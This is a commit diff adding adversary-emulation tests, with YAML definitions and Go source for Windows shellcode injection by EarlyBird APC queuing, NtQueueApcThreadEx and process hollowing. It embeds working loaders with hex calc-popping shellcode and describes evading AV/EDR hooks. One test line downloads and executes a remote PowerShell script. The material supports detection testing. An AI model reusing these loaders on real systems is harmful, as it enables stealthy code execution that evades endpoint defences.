Add tests for various shellcode running techniques using Go (#2627)
* Adding shellcode running techniques using Go * Removing auto-generated guid before PR --------- Co-authored-by: navsec <navsec@navsec.net>
This commit is contained in:
@@ -33,3 +33,59 @@ atomic_tests:
|
||||
command: |
|
||||
"#{exe_binary}"
|
||||
name: command_prompt
|
||||
- name: EarlyBird APC Queue Injection in Go
|
||||
description: |
|
||||
Creates a process in a suspended state and calls QueueUserAPC WinAPI to add a UserAPC to the child process that points to allocated shellcode.
|
||||
ResumeThread is called which then calls NtTestAlert to execute the created UserAPC which then executes the shellcode.
|
||||
This technique allows for the early execution of shellcode and potentially before AV/EDR can hook functions to support detection.
|
||||
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)
|
||||
- References:
|
||||
- https://www.bleepingcomputer.com/news/security/early-bird-code-injection-technique-helps-malware-stay-undetected/
|
||||
- https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection
|
||||
supported_platforms:
|
||||
- windows
|
||||
input_arguments:
|
||||
spawn_process_path:
|
||||
description: Path of the binary to spawn
|
||||
type: string
|
||||
default: C:\Windows\System32\werfault.exe
|
||||
spawn_process_name:
|
||||
description: Name of the process to spawn
|
||||
type: string
|
||||
default: werfault
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
command: |
|
||||
$PathToAtomicsFolder\T1055.004\bin\x64\EarlyBird.exe -program "#{spawn_process_path}" -debug
|
||||
cleanup_command: |
|
||||
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
|
||||
Stop-Process -Name "#{spawn_process_name}" -ErrorAction SilentlyContinue
|
||||
- name: Remote Process Injection with Go using NtQueueApcThreadEx WinAPI
|
||||
description: |
|
||||
Uses the undocumented NtQueueAPCThreadEx WinAPI to create a "Special User APC" in the current thread of the current process to execute shellcode.
|
||||
Since the shellcode is loaded and executed in the current process it is considered local shellcode execution.
|
||||
|
||||
Steps taken with this technique
|
||||
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
|
||||
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
|
||||
3. Change the memory page permissions to Execute/Read with VirtualProtect
|
||||
4. Get a handle to the current thread
|
||||
5. Execute the shellcode in the current thread by creating a Special User APC through the NtQueueApcThreadEx function
|
||||
|
||||
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)
|
||||
- References:
|
||||
- https://repnz.github.io/posts/apc/user-apc/
|
||||
- https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html
|
||||
- https://0x00sec.org/t/process-injection-apc-injection/24608
|
||||
- https://twitter.com/aionescu/status/992264290924032005
|
||||
- http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
command: |
|
||||
$PathToAtomicsFolder\T1055.004\bin\x64\NtQueueApcThreadEx.exe -debug
|
||||
cleanup_command: |
|
||||
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,189 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/EarlyBird/main.go
|
||||
// Concept pulled from https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
|
||||
|
||||
/*
|
||||
This program executes shellcode in a child process using the following steps:
|
||||
1. Create a child proccess in a suspended state with CreateProcessW
|
||||
2. Allocate RW memory in the child process with VirtualAllocEx
|
||||
3. Write shellcode to the child process with WriteProcessMemory
|
||||
4. Change the memory permissions to RX with VirtualProtectEx
|
||||
5. Add a UserAPC call that executes the shellcode to the child process with QueueUserAPC
|
||||
6. Resume the suspended program with ResumeThread function
|
||||
*/
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
// Sub Repositories
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func main() {
|
||||
verbose := flag.Bool("verbose", false, "Enable verbose output")
|
||||
debug := flag.Bool("debug", false, "Enable debug output")
|
||||
program := flag.String("program", "C:\\Windows\\System32\\notepad.exe", "The program to start and inject shellcode into")
|
||||
args := flag.String("args", "", "Program command line arguments")
|
||||
flag.Usage = func() {
|
||||
flag.PrintDefaults()
|
||||
os.Exit(0)
|
||||
}
|
||||
flag.Parse()
|
||||
|
||||
// Pop Calc Shellcode (x64)
|
||||
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
|
||||
if errShellcode != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...")
|
||||
}
|
||||
|
||||
// Load DLLs and Procedures
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading supporting procedures...")
|
||||
}
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
QueueUserAPC := kernel32.NewProc("QueueUserAPC")
|
||||
|
||||
// Create child proccess in suspended state
|
||||
/*
|
||||
BOOL CreateProcessW(
|
||||
LPCWSTR lpApplicationName,
|
||||
LPWSTR lpCommandLine,
|
||||
LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
BOOL bInheritHandles,
|
||||
DWORD dwCreationFlags,
|
||||
LPVOID lpEnvironment,
|
||||
LPCWSTR lpCurrentDirectory,
|
||||
LPSTARTUPINFOW lpStartupInfo,
|
||||
LPPROCESS_INFORMATION lpProcessInformation
|
||||
);
|
||||
*/
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling CreateProcess to start:\r\n\t%s %s...", *program, *args))
|
||||
}
|
||||
procInfo := &windows.ProcessInformation{}
|
||||
startupInfo := &windows.StartupInfo{
|
||||
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
|
||||
ShowWindow: 1,
|
||||
}
|
||||
errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
|
||||
if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling CreateProcess:\r\n%s", errCreateProcess.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully created the %s process in PID %d", *program, procInfo.ProcessId))
|
||||
}
|
||||
|
||||
// Allocate memory in child process
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", procInfo.ProcessId))
|
||||
}
|
||||
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
|
||||
|
||||
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
|
||||
}
|
||||
|
||||
if addr == 0 {
|
||||
log.Fatal("[!]VirtualAllocEx failed and returned 0")
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", procInfo.ProcessId))
|
||||
}
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Shellcode address: 0x%x", addr))
|
||||
}
|
||||
|
||||
// Write shellcode into child process memory
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", procInfo.ProcessId))
|
||||
}
|
||||
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
|
||||
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully wrote %d shellcode bytes to PID %d", len(shellcode), procInfo.ProcessId))
|
||||
}
|
||||
|
||||
// Change memory permissions to RX in child process where shellcode was written
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", procInfo.ProcessId))
|
||||
}
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully changed memory permissions to PAGE_EXECUTE_READ in PID %d", procInfo.ProcessId))
|
||||
}
|
||||
|
||||
// QueueUserAPC
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling QueueUserAPC")
|
||||
}
|
||||
|
||||
ret, _, err := QueueUserAPC.Call(addr, uintptr(procInfo.Thread), 0)
|
||||
if err != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling QueueUserAPC:\n%s", err.Error()))
|
||||
}
|
||||
if *debug {
|
||||
fmt.Printf("[DEBUG]The QueueUserAPC call returned %v\n", ret)
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Printf("[-]Successfully queued a UserAPC on process ID %d\n", procInfo.ProcessId)
|
||||
}
|
||||
|
||||
// Resume the child process
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling ResumeThread...")
|
||||
}
|
||||
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
|
||||
if errResumeThread != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[+]Process resumed and shellcode executed")
|
||||
}
|
||||
|
||||
// Close the handle to the child process
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling CloseHandle on child process...")
|
||||
}
|
||||
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
|
||||
if errCloseProcHandle != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
|
||||
}
|
||||
|
||||
// Close the hand to the child process thread
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling CloseHandle on child process thread...")
|
||||
}
|
||||
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
|
||||
if errCloseThreadHandle != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
|
||||
}
|
||||
}
|
||||
|
||||
// export GOOS=windows GOARCH=amd64;go build -o EarlyBird.exe ./EarlyBird.go
|
||||
@@ -0,0 +1,151 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/NtQueueApcThreadEx-Local/main.go
|
||||
|
||||
/*
|
||||
This program executes shellcode in the current process using the following steps
|
||||
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
|
||||
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
|
||||
3. Change the memory page permissions to Execute/Read with VirtualProtect
|
||||
4. Get a handle to the current thread
|
||||
4. Execute the shellcode in the current thread by creating a "Special User APC" through the NtQueueApcThreadEx function
|
||||
|
||||
References:
|
||||
1. https://repnz.github.io/posts/apc/user-apc/
|
||||
2. https://docs.rs/ntapi/0.3.1/ntapi/ntpsapi/fn.NtQueueApcThreadEx.html
|
||||
3. https://0x00sec.org/t/process-injection-apc-injection/24608
|
||||
4. https://twitter.com/aionescu/status/992264290924032005
|
||||
5. http://www.opening-windows.com/techart_windows_vista_apc_internals2.htm#_Toc229652505
|
||||
|
||||
*/
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"unsafe"
|
||||
|
||||
// Sub Repositories
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
// MEM_COMMIT is a Windows constant used with Windows API calls
|
||||
MEM_COMMIT = 0x1000
|
||||
// MEM_RESERVE is a Windows constant used with Windows API calls
|
||||
MEM_RESERVE = 0x2000
|
||||
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
|
||||
PAGE_EXECUTE_READ = 0x20
|
||||
// PAGE_READWRITE is a Windows constant used with Windows API calls
|
||||
PAGE_READWRITE = 0x04
|
||||
)
|
||||
|
||||
// https://docs.microsoft.com/en-us/windows/win32/midl/enum
|
||||
const (
|
||||
QUEUE_USER_APC_FLAGS_NONE = iota
|
||||
QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC
|
||||
QUEUE_USER_APC_FLGAS_MAX_VALUE
|
||||
)
|
||||
|
||||
func main() {
|
||||
verbose := flag.Bool("verbose", false, "Enable verbose output")
|
||||
debug := flag.Bool("debug", false, "Enable debug output")
|
||||
flag.Parse()
|
||||
|
||||
// Pop Calc Shellcode
|
||||
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
|
||||
if errShellcode != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...")
|
||||
}
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect, and RtlCopyMemory procedures...")
|
||||
}
|
||||
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
|
||||
VirtualProtect := kernel32.NewProc("VirtualProtect")
|
||||
GetCurrentThread := kernel32.NewProc("GetCurrentThread")
|
||||
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
|
||||
NtQueueApcThreadEx := ntdll.NewProc("NtQueueApcThreadEx")
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode...")
|
||||
}
|
||||
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
|
||||
|
||||
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
|
||||
}
|
||||
|
||||
if addr == 0 {
|
||||
log.Fatal("[!]VirtualAlloc failed and returned 0")
|
||||
}
|
||||
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory...")
|
||||
}
|
||||
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
|
||||
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[-]Shellcode copied to memory")
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ...")
|
||||
}
|
||||
|
||||
oldProtect := PAGE_READWRITE
|
||||
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling GetCurrentThread...")
|
||||
}
|
||||
thread, _, err := GetCurrentThread.Call()
|
||||
if err.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("Error calling GetCurrentThread:\n%s", err))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Printf("[-]Got handle to current thread: %v\n", thread)
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling NtQueueApcThreadEx...")
|
||||
}
|
||||
//USER_APC_OPTION := uintptr(QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC)
|
||||
_, _, err = NtQueueApcThreadEx.Call(thread, QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC, uintptr(addr), 0, 0, 0)
|
||||
if err.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("Error calling NtQueueApcThreadEx:\n%s", err))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[-]Queued special user APC")
|
||||
}
|
||||
|
||||
if *verbose {
|
||||
fmt.Println("[+]Shellcode Executed")
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// export GOOS=windows GOARCH=amd64;go build -o NtQueueApcThreadEx.exe ./NtQueueApcThreadEx.go
|
||||
@@ -63,3 +63,51 @@ atomic_tests:
|
||||
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
|
||||
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1055.012\src\T1055.012-macrocode.txt" -officeProduct "#{ms_product}" -sub "Exploit"
|
||||
name: powershell
|
||||
- name: Process Hollowing in Go using CreateProcessW WinAPI
|
||||
description: |
|
||||
Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process.
|
||||
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess)
|
||||
supported_platforms:
|
||||
- windows
|
||||
input_arguments:
|
||||
hollow_binary_path:
|
||||
description: Path of the binary to hollow
|
||||
type: string
|
||||
default: C:\Windows\System32\werfault.exe
|
||||
hollow_process_name:
|
||||
description: Name of the process to hollow
|
||||
type: string
|
||||
default: werfault
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
command: |
|
||||
$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcess.exe -program "#{hollow_binary_path}" -debug
|
||||
cleanup_command: |
|
||||
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
|
||||
Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
|
||||
- name: Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012)
|
||||
description: |
|
||||
Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process.
|
||||
This test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe
|
||||
allows for the retrieval of output generated from executed shellcode.
|
||||
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)
|
||||
supported_platforms:
|
||||
- windows
|
||||
input_arguments:
|
||||
hollow_binary_path:
|
||||
description: Path of the binary to hollow
|
||||
type: string
|
||||
default: C:\Windows\System32\werfault.exe
|
||||
hollow_process_name:
|
||||
description: Name of the process to hollow
|
||||
type: string
|
||||
default: werfault
|
||||
executor:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
command: |
|
||||
$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcessWithPipe.exe -program "#{hollow_binary_path}" -debug
|
||||
cleanup_command: |
|
||||
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
|
||||
Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,614 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
|
||||
// CREDIT: https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateProcess/main.go
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
// Sub Repositories
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func main() {
|
||||
verbose := flag.Bool("verbose", false, "Enable verbose output")
|
||||
debug := flag.Bool("debug", false, "Enable debug output")
|
||||
program := flag.String("program", "C:\\Windows\\System32\\notepad.exe", "The program to start and inject shellcode into")
|
||||
args := flag.String("args", "", "Program command line arguments")
|
||||
flag.Usage = func() {
|
||||
flag.PrintDefaults()
|
||||
os.Exit(0)
|
||||
}
|
||||
flag.Parse()
|
||||
|
||||
// Pop Calc Shellcode (x64)
|
||||
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
|
||||
if errShellcode != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...")
|
||||
}
|
||||
|
||||
// Load DLLs and Procedures
|
||||
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Loading supporting procedures...")
|
||||
}
|
||||
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
|
||||
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
|
||||
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
|
||||
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
|
||||
|
||||
// Create child proccess in suspended state
|
||||
/*
|
||||
BOOL CreateProcessW(
|
||||
LPCWSTR lpApplicationName,
|
||||
LPWSTR lpCommandLine,
|
||||
LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
BOOL bInheritHandles,
|
||||
DWORD dwCreationFlags,
|
||||
LPVOID lpEnvironment,
|
||||
LPCWSTR lpCurrentDirectory,
|
||||
LPSTARTUPINFOW lpStartupInfo,
|
||||
LPPROCESS_INFORMATION lpProcessInformation
|
||||
);
|
||||
*/
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling CreateProcess to start:\r\n\t%s %s...", *program, *args))
|
||||
}
|
||||
procInfo := &windows.ProcessInformation{}
|
||||
startupInfo := &windows.StartupInfo{
|
||||
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
|
||||
ShowWindow: 1,
|
||||
}
|
||||
errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
|
||||
if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling CreateProcess:\r\n%s", errCreateProcess.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully created the %s process in PID %d", *program, procInfo.ProcessId))
|
||||
}
|
||||
|
||||
// Allocate memory in child process
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", procInfo.ProcessId))
|
||||
}
|
||||
addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
|
||||
|
||||
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
|
||||
}
|
||||
|
||||
if addr == 0 {
|
||||
log.Fatal("[!]VirtualAllocEx failed and returned 0")
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", procInfo.ProcessId))
|
||||
}
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Shellcode address: 0x%x", addr))
|
||||
}
|
||||
|
||||
// Write shellcode into child process memory
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", procInfo.ProcessId))
|
||||
}
|
||||
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
|
||||
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully wrote %d shellcode bytes to PID %d", len(shellcode), procInfo.ProcessId))
|
||||
}
|
||||
|
||||
// Change memory permissions to RX in child process where shellcode was written
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", procInfo.ProcessId))
|
||||
}
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully changed memory permissions to PAGE_EXECUTE_READ in PID %d", procInfo.ProcessId))
|
||||
}
|
||||
|
||||
// Query the child process and find its image base address from its Process Environment Block (PEB)
|
||||
// https://github.com/winlabs/gowin32/blob/0b6f3bef0b7501b26caaecab8d52b09813224373/wrappers/winternl.go#L37
|
||||
// http://bytepointer.com/resources/tebpeb32.htm
|
||||
// https://www.nirsoft.net/kernel_struct/vista/PEB.html
|
||||
type PEB struct {
|
||||
//reserved1 [2]byte // BYTE 0-1
|
||||
InheritedAddressSpace byte // BYTE 0
|
||||
ReadImageFileExecOptions byte // BYTE 1
|
||||
BeingDebugged byte // BYTE 2
|
||||
reserved2 [1]byte // BYTE 3
|
||||
// ImageUsesLargePages : 1; //0x0003:0 (WS03_SP1+)
|
||||
// IsProtectedProcess : 1; //0x0003:1 (Vista+)
|
||||
// IsLegacyProcess : 1; //0x0003:2 (Vista+)
|
||||
// IsImageDynamicallyRelocated : 1; //0x0003:3 (Vista+)
|
||||
// SkipPatchingUser32Forwarders : 1; //0x0003:4 (Vista_SP1+)
|
||||
// IsPackagedProcess : 1; //0x0003:5 (Win8_BETA+)
|
||||
// IsAppContainer : 1; //0x0003:6 (Win8_RTM+)
|
||||
// SpareBit : 1; //0x0003:7
|
||||
//reserved3 [2]uintptr // PVOID BYTE 4-8
|
||||
Mutant uintptr // BYTE 4
|
||||
ImageBaseAddress uintptr // BYTE 8
|
||||
Ldr uintptr // PPEB_LDR_DATA
|
||||
ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS
|
||||
reserved4 [3]uintptr // PVOID
|
||||
AtlThunkSListPtr uintptr // PVOID
|
||||
reserved5 uintptr // PVOID
|
||||
reserved6 uint32 // ULONG
|
||||
reserved7 uintptr // PVOID
|
||||
reserved8 uint32 // ULONG
|
||||
AtlThunkSListPtr32 uint32 // ULONG
|
||||
reserved9 [45]uintptr // PVOID
|
||||
reserved10 [96]byte // BYTE
|
||||
